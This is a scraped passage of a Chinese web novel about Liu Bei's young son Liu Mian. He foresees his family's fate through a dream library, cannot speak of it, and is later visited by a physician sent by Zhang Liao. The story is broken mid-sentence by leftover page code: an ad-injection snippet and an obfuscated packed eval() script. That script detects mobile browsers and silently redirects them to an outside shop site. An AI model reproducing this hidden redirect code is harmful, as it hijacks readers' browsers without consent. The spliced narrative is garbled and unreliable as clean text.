很快,接下来的情节就逐渐超出了他的预料。故事并没有在讨黄巾之后就结束,而是一直这么讲述了下来。故事中虽然有不少偏差,但是大体的时间线和大事件几乎都是没错的——所以刘眠也无暇质疑那些“细微”的偏差了。况且《三国演义》的故事并没有停留在现在这个时间点,而是继续往后叙述了下去。 也就意味着这本书几乎是等同于一本疑似可以窥见未来的“天书”。在这样的情况下,刘眠更愿意偏向于相信这本书的真实性。 直到看到了“白门楼”这一段的时候,刘眠不由得松了一口气——书中刘备在被吕布击溃之后投奔了曹操,而吕布终被曹操所灭。 接下来的故事更加精彩纷呈—— 衣带诏、青梅煮酒论英雄、千里走单骑、官渡之战、跃马檀溪、回马荐诸葛、三顾茅庐、携民渡江、赤壁之战..... 即便其中有一些事件刘眠这个年纪理解起来还比较费劲,但是他也囫囵吞枣地看了下去。坦白来说一直看到进位称汉中王,刘眠都没有很意外。 毕竟他的老父亲幼年时就敢指着五丈的桑树说自己将来要乘坐这样的羽葆盖车。要知道羽葆盖车可是帝王仪仗,这几乎和当年汉高祖见到秦始皇出巡时感叹的“大丈夫当如是”差不多了,着实是有些“高祖遗风”在身上的。 即便是刘眠年纪尚小,但是他却很聪慧,也知道现在汉室衰微。即便是不探讨一些对他这个年纪来说深奥的问题,各地战乱不断出现就足以说明情况的糟糕。如果不是大人们时常怀念起以前的日子,刘眠还以为人生来就是要这样颠沛流离的。 颠沛流离都说好听了,说难听点就是被打得抱头鼠窜。 不过之后的故事走向——似乎就没有那么尽如人意了。 书中只提到了刘备的一个亲儿子——刘禅,虽然没有具体的年份可以算年龄,但是他铁定是刘眠的弟弟。不过从始至终刘眠自始至终在书中都没有出现过,刘眠思考了半天,才意识到他可能出现在了那句——“刘备的妻子和孩子在战乱中失去踪迹”。 直到看到绘本的最后一页——“三分归晋”。 刘眠小小年纪,居然生出了一种恍若隔世的感觉。 母亲长坂兵败投井而死,父亲夷陵兵败病逝白帝城,二叔大意失荆州、三叔命送兵卒之手、大舅缚面请罪抑郁而终、小舅做了叛国贼、相父星落秋风五丈原、义兄被赐死..... 这都是之后会发生的事情吗? 其实刘眠对于死亡并没有那么害怕,这么说并非是因为他对死亡没有实际的感触。恰恰相反,他倒是对死亡有一种别样的认知。 谁让他最常听的一句话就是——“这样睡过去醒不过来的病,早晚是要没命的”。 这的确是事实,常常听这样的话,刘眠也早就习惯了。 但是这本书的结局却为他带来了对死亡的其他感知——他第一次如此担忧和害怕。 不过这种负面情绪并没能困扰他很久,因为他意识到既然他已经知道了未来会发生的事情,那么只要出去之后告诉大人们,这不就好了吗? 于是刘眠努力集中精力,不停地在心里默念自己想要离开的想法。先前也说过,这种方法时灵时不灵,但是总比干坐着要好。 刘眠所不知道的是,进入和离开这个梦境空间的方法一定程度上是依靠他的精神力。但是之所以不灵敏的缘故,一部分是因为他年纪实在是太小了,所以不能很好地控制自己的这种 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 精神力。 之前很多次直到身体实在透支得太严重之后,在这个梦境空间里的他也因此近乎陷入昏迷。在这样的情况下数次迸发出求生的本能,这种本能成功控制了这种精神力——这才能得以离开。 这种情况或许能够通过他年龄的增长得到缓解,但是没有人能够为他解释这些事情。也不知道他自己能不能悟出来,毕竟这种力量实在是太玄乎了。 刘眠所在的这个梦境空间时间流速很难感知,也就是说他很难判断外边到底过去了多久。而且他先前看了三本绘本,按找寻常的速度的话起码也一两天了。要是昏过去了整整两天,并且还是在他们被软禁的情况下——实在是凶多吉少。 虽然这本书里并没有提到过刘眠,是因战乱或是疾病夭折都未可知。但是其他家人们的悲剧如果能够“先知”的话,那么大概率是能够避免的——甚至能更进一步也未可知。 不过现在作为区区“阶下囚”,就开始展望“大业”实在是太过于乐观了,因为当前的首要任务是保命。 这回刘眠没有沦落到要靠迸发求生本能才能脱离这个梦境,因为他这一回想要离开这里的精神力异常顽强。不管这些事情到底会不会发生,他出去之后告知家人们,起码也能求个心安,不是吗? 于是在这样强烈愿望的促使之下,刘眠只感到眼前一阵天旋地转。眼前的场景不断地折叠旋转,然后归于黑暗。 突然间,他睁开了眼睛。他睡着的时候大概是在傍晚时分,现在外面的天已经大亮了。麋贞也不知道守了他多久,眼下的乌青证明她已是疲倦地守候了良久。这才趴在刘眠的床榻旁边睡着了。即便是在睡梦中她也紧紧地皱着眉,她的手还紧紧拉着刘眠的手。 刘眠只不过是轻微动了动,麋贞就惊醒了过来。她提在心口的那口气终于松散了下来—— 刘眠这一睡不是一天,而是将近两天了。虽然有人帮他翻身活动,但是他醒过来的时候全身还很是僵疼。 “阿母。”在见到了自己的母亲之后,刘眠又忍不住想起了那本书中为麋贞所写的结局,他的眼圈儿都红了起来。 听见刘眠干涩的声音,麋贞赶忙摸了摸他的头,压抑着内心的担忧和苦涩。 而刘眠甚至都来不及喝一口水,他迫不及待地想要告诉麋贞自己在梦中所看到的一切。 但是当他张口的时候,却像是被人紧紧捏住了喉咙一样——发不出一点声音。 刘眠不可思议地尝试了好几次,但是他只要想说出自己的在那个梦境里的经历,他就会骤然失声。 眼见刘眠好几次想要说话却说不出来,麋贞一下子心又提到了嗓子眼。此刻他们被软禁了起来,就是想要找个医者看病也是难事——这要是真的失声,那岂不是雪上加霜? 见麋贞担忧慌乱的样子,刘眠也只能收起了自己想要说出那段经历的主意。果不其然,当他不准备说出那些之后,他的嗓子就恢复了正常。当然,因为长时间没能进水,所以声音有些干涩。 “阿母,我渴,嗓子疼。”刘眠听见自己声音的时候,不由得松了一口气。 麋贞也是如此,她将刘眠刚刚张口难言的样子归结于了嗓子疼。于是连忙起身,先给刘眠倒了一点水喝。 7.第7章 或许是因为“预知”了吕布的结局,刘眠倒是没有那么担心他们现在的处境了。 但是刘眠还记挂着书中未来的危机,而且他还面临着一个问题,那就是他无法以任何形式告知他人自己在梦进入那个古书典籍图书馆的神异经历。 后来刘眠试了很多次,像是《红楼梦》和《西游记》的故事,他可以讲述出来——但是不能实话实话自己是如何了解到这些故事的。 而《三国演义》则十分特殊,因为书中涉及到了过去、现在和未来的事情。刘眠试着做出了个总结,假设现实和书本时间线平行,以现实中现在的时间作为节点——书中过去的事情可以被提起,而书中未来的事情则无法向别人透露。 打个比方,在面对其他人的时候。刘眠可以提到过去——“桃园结义”,但是他无法提到未来——“青梅煮酒论英雄”。不过麋贞和甘梅听到刘眠所询问的“桃园结义”之事,却皆是面面相觑。虽然刘关张三人的确情同兄弟,但是正儿八经地结拜?反正她们是从未听说过。 刘眠不免有些忧愁,如果不能直接向家人们提起如此神异之事,那么他又能做什么呢?先不说他自己说不定一个不小心就没了命,就算是他好不容易活了下来,那么想要干涉长辈们的“政治决定”也是一件难事。 就算是撞了大运,刘眠的干涉成功了——结果是好是坏也未可知。 毕竟以很快书中即将发生的事情来看,在吕布势力瓦解之后,他们就该跟着曹操一起回许都。 这事能拒绝吗?显然不能。况且此去许都虽然是龙潭虎穴,但是也有利好之处。 而后来的衣带诏事件,这事就算是刘备突然间丧失理智,把这样绝密的事情告知一个幼童并且听取他的建议。那么又能怎么样解决呢? 不理会?不加入?在衣带诏事发之后,曹操肯定是宁可错杀一百也不放过一个的。所以一旦牵连到这件事当中,事败逃跑就是唯一的选项。 况且从许都借口“阻击袁术”逃走之后,他们首先最好的去处也还是小沛和下邳。难道在没有任何补给和原因的情况下,直接去投降袁绍刘表吗? 奈何刘眠实在是年幼,就算是有了这个“不可言说的预知”的能力,很多事情也实在无能为力。毕竟这其中的种种利弊,就算是成年人也未必能够盘算清楚,何况他一个幼童? 刘眠烦恼地抱住了自己的竹编小马,头懒洋洋地搭在马的头上,初秋的阳光暖洋洋地洒在他的身上,驱散了他身上自带的丝丝寒气。轻轻摇晃的小马就像是摇篮一样,带来了阵阵困意,他忍不住打了个哈欠。 刘眠进入到那个图书馆空间之后算是进入了“伪睡眠”,没有得到真正的休息。这就导致他即便是醒过来也还是很困,睡也睡不够。 关平走进院子里来的时候,正好就看到了刘眠趴在竹马上犯困。不得不承认刘眠这幅小样子真的很可爱,让人忍不住想要好好揉揉这个软绵绵的小团子。 “阿羔。” 刘眠听见有人唤他,困意消散了些许。这才支起了身子,转头往后看去,欢欣地冲关平招了招手,然后骑着竹编小马往前面蹭,发出嚓嚓嚓的声音:“平哥哥。” 关平忍不住出手揉了揉刘眠的脑袋,问到:“你怎么一个人在外面?冷不冷?是不是困了,我送你回屋。” 刘眠把头摇的和拨浪鼓似的,他说道:“不要,屋子里太闷了,我才出来玩的。” 听见刘眠的话,关平其实也有点蠢蠢欲动。十几岁的少年可比刘眠这个小屁孩要活泼好动得多,但是他也知道轻重——这会儿他们现在的身份可是“阶下囚”,还是不要搞一些翻墙逃跑的事情为好。 “好吧。”关平也知道刘眠很多时候只能待在屋子里,所以趁着这会儿天气好多出来转转也好:“唉,做人质的滋味可不好受。” “没事。”刘眠回想起了《三国演义》当中的剧情,很明显这对于他们来说只是一个开始:“人质当着当着可能就习惯了。” 关平被这话逗笑了,弯了弯眼睛:“哪有那么多人质让你当的。” 刘眠扁了扁嘴,他倒是希望自己能多做几次人质——起码着意味着他活的时间能久一点。 “平哥哥。”刘眠将这些愁绪都抛之脑后,眨巴眨巴着大眼睛。自从看完《三国演义》之后,关于关平的身世问题就一直萦绕在他的心头:“我有个问题想问你。” 《三国演义》里说关平并非关羽的亲生儿子,而且是在“过五关斩六将”的时候途径关家庄时收的义子。 但是刘眠自从有记忆开始,关平就一直和他们在一起。这会儿应该还不到“过五关斩六将”的时间点。而且因为没有到达那一个时间点的缘故,他也无法直接提及《三国演义》中关于“收养关平”当中的剧情。 不过这也就说明了《三国演义》确实存在着一些对不上的毛病,这意味着《三国演义》并非是全知天书。刘眠猜想它大概是有可能是后世记载的史书故事之类的东西——所以会和事实存在偏差。 但是即便是史家之勘误,“义子”这个身份未免错漏太大了。书里还那么言之凿凿——自古以来最多有把义子说成是亲子的,哪听说过把亲子变成义子的呢? “怎么了?”关平半蹲了下来,好奇地看向刘眠。 但是刘眠又着实不知道该怎么问,总感觉怎么说都不太对劲,但最后他只能有些干巴地开了口:“你还有其他的父亲母亲吗?” 这话听得关平实在是丈二和尚摸不着头脑,但是他还是老老实实地回答了刘眠的问题:“没有....你这话好奇怪,人难道还能有很多个父亲母亲?” “也不是不可能呀。”刘眠斟酌着自己词句,说到:“义父义母、继父继母之类的.....还是可以有很多个的吧?” 好吧,刘眠说的也好像没错。 关平一时语塞,他弱弱地反驳道:“但是我又不是义子继子,我是父母亲生的,没有什么....” 话说到一半,关平有些疑惑:“阿羔,你怎么突然问这个问题?” 刘眠想起《三国演义》当中对于“义子”之事并不忌讳,基本上都是大大方方承认了的。但是对于刘眠来说,如果有人说他并非其父母亲生子的话,他总觉得有些伤心难过——也不知道是什么缘故。 唉,也不知道关平知道了这件事会不会难过。 此刻的关平见到刘眠一副欲言又止的样子,思维忍不住开始发散跳跃。不由得顺着刘眠那一句没头没脑的话语开始胡思乱想,不过他的语气听起来还是比较轻松的,开玩笑似的说到:“阿羔....你这意思听着怎么这么像是我是被捡来的?” 刘眠小小的脸蛋一下子就凝重了起来,没想到关平一下子就猜到了他的意思。不得不说要是人人都能像关平一样,顺着刘眠含糊其辞的话中胡乱猜想,对他而言或许反倒是好事了。 “哈哈哈哈这怎么可能——”关平的笑声硬生生被刘眠的表情给唬回去了,他狐疑地转了转眼珠子:“你听谁说的?” 刘眠摇了摇头,本该脆生生的童音有些低落,最终他还是不想让关平伤心:“没有,没听人说。” 好吧,现在关平更加懵了。他又看了看刘眠的小脸,他是深知刘眠脾性的——他素日里最是乖巧懂事,绝不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14007179|145561||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那种信口开河胡乱吓人的熊孩子。 这小家伙不会真的听到旁人说什么小道消息了吧?然后还被嘱咐不能告诉他? “我....不会吧?”关平毕竟也是个半大孩子,听了这话有些难过和心慌:“不可能,我——我怎么可能不是亲生的呢?你看我很快就要有父亲那么高了!” 关平噌的一下就站了起来,他虽说年纪也不算大,但是体型完全随了身为顶级武将的父亲——小小年纪,单是身高就比同龄人高得多。 刘眠只能很费劲地仰头看他。 不过关平的容貌倒是没那么随父亲,至少看起来白净得多。关平摸了摸自己光洁的下巴,又想到了父亲那一把浓密的长髯,心又有点虚了。 我该真不会是捡来的吧?! 关平这会儿可没有逗刘眠玩耍的心思了,即刻就想回去找母亲问个清楚。完全可以说是拔腿就跑,以至于跑到院门口拐角处,就正好撞上了从前院进来的人。 “平儿,遇到什么事了,怎么匆匆忙忙的?” 听到外面的动静和说话声,刘眠也蹬着小碎步来到了院门口,趴在门槛上好奇地探出了头。 只见与关平说话的那位大人,必是一位健将无疑——其人面如紫玉,目若朗星。如今能来此圈禁之地,且言语间与关平又多亲切之意,恐怕也就只有张辽张文远一人而已。 想到这里刘眠不由得有些失落,要是能赚得张辽加入刘备麾下好了。但是这显然也是不可能的事情,谁让现下只有曹操能攻破吕布呢?况且张辽行事正直,若得曹操宽恕赏识,万没有道理和他们一起的道理。 甚至高顺、陈宫也是同理。 “哎呀,张将军,我——”关平话说到一半又给止住了,毕竟这也是他的家事:“您怎么亲自来了。” 张辽则是挥了挥手,将身后的一位医师唤上前来:“前些日子听闻玄德公之子似有不适,特请了徐州城内的名医前来看望。” “原来如此,多谢张将军费心。”关平眼前一亮,虽然刘眠看起来没有大病,但是昏睡了接近两天的时间,而且看起来还那么困倦无力——正是该找个医师看一看才好。 “辽不便进内院,平儿且将医师引进去即可。至于开了药方之后的药材,自会差人送来。”张辽也是前些天才听给刘备家眷送物资的手下提到,刘眠似乎又犯病昏睡不醒——也不知道情况如何。 正好这些日子观察下来,吕布也并未对他多看顾刘备关羽家眷之事有意见,张辽这才亲自引人前来探望。 关平又向张辽道谢,转眼却见到刘眠趴在门槛上听他们说话。也顾不得先请医师进院了,赶忙上前将刘眠抱了起来:“怎么能趴在地上?我看你是好了几天就忘了疼了。” “才不是。”刘眠表示反驳,他无辜地说道:“我只是想爬出来,不是趴在地上。” 孩童一般热气重需要散热,所以这个时代孩童的发型大多是要剃去大部分胎发,只留下额前或是脑后的头发作为装饰。 但刘眠体质比较特殊畏寒,医师特意嘱咐留发保暖。故而头发松散地垂到了脖间,偶尔麋贞会用小绳子将后面的头发扎到一起方便他活动。额前额边的头发为了视野倒是修剪过,垂至眉前额间。为他本就软和的脸部线条更添了几分柔意,再配上眉间本不该出现在孩童面上化不开的愁绪,颇有些惹人可怜。 等关平先开口为他介绍之后,刘眠便懂事地出声感谢。 这番孩子带更小的孩子的场景不禁让人有些心软,联想到他们如今的处境更是让人唏嘘,于是张辽出声嘱咐身后跟着的医师道:“先且进去为小公子看诊吧。”